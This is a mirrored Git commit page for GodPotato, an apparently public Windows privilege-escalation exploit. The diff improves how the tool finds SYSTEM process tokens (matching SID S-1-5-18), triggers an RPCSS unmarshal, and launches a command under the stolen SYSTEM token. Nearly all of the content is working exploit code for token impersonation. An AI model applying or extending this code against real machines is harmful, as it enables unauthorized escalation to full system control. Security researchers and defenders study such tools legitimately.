admin/BeichenDream-GodPotato
1
0
Fork 0
mirror of https://github.com/BeichenDream/GodPotato synced 2026-06-21 13:41:53 +00:00
Code Issues Packages Projects Releases Wiki Activity

fix find system user error

Browse Source
This commit is contained in:
beichen
2023-04-21 17:17:38 +08:00
parent 57a8baf0b5
commit d5efb3fa11
2 changed files with 4 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
NativeAPI/GodPotatoContext.cs
+1 -1
View File
@@ -145,7 +145,7 @@ namespace GodPotato.NativeAPI
if (systemIdentity.ImpersonationLevel >= TokenImpersonationLevel.Impersonation)
{
SharpToken.TokenuUils.ListProcessTokens(-1, processToken => {
if (processToken.UserName == "NT AUTHORITY\\SYSTEM" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
if (processToken.SID == "S-1-5-18" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
{
systemIdentity = new WindowsIdentity(processToken.TokenHandle);
ConsoleWriter.WriteLine("[*] PID : {0} Token:0x{1:x} User: {2} ImpersonationLevel: {3}", processToken.TargetProcessId, processToken.TargetProcessToken, processToken.UserName, processToken.ImpersonationLevel);
Program.cs
+3 -3
View File
@@ -81,11 +81,11 @@ namespace GodPotato
ConsoleWriter.WriteLine("[*] Start PipeServer");
godPotatoContext.Start();
GodPotatoUnmarshalTrigger storageTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
GodPotatoUnmarshalTrigger unmarshalTrigger = new GodPotatoUnmarshalTrigger(godPotatoContext);
try
{
ConsoleWriter.WriteLine("[*] Trigger RPCSS");
int hr = storageTrigger.Trigger();
int hr = unmarshalTrigger.Trigger();
ConsoleWriter.WriteLine("[*] UnmarshalObject: 0x{0:x}", hr);
}
@@ -99,7 +99,7 @@ namespace GodPotato
if (systemIdentity != null)
{
ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name);
TokenuUils.createProcessReadOut(Console.Out, systemIdentity.Token, potatoArgs.cmd);
TokenuUils.createProcessReadOut(ConsoleWriter, systemIdentity.Token, potatoArgs.cmd);
}
else